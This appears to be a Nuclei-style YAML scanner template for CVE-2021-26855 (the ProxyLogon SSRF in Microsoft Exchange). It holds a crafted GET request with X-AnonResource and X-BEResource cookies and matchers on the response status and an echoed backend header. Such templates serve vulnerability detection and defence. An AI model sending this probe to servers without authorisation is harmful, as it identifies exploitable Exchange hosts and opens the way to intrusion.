36 lines
1.2 KiB
YAML
36 lines
1.2 KiB
YAML
id: CVE-2021-26855
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info:
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name: Exchange Server SSRF Vulnerability
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author: madrobot
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severity: critical
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description: |
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Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.
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tags: cve,cve2021,ssrf,rce,exchange
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reference: |
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- https://proxylogon.com/#timeline
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- https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
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- https://www.shodan.io/search?query=vuln%3ACVE-2021-26855
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- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
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requests:
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- raw:
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- |
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GET /owa/auth/x.js HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
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Cookie: X-AnonResource=true; X-AnonResource-Backend=somethingnonexistent/ecp/default.flt?~3; X-BEResource=somethingnonexistent/owa/auth/logon.aspx?~3;
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Accept-Language: en
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Connection: close
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 500
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- 503
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- type: word
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words:
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- 'X-Calculatedbetarget: somethingnonexistent'
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part: header |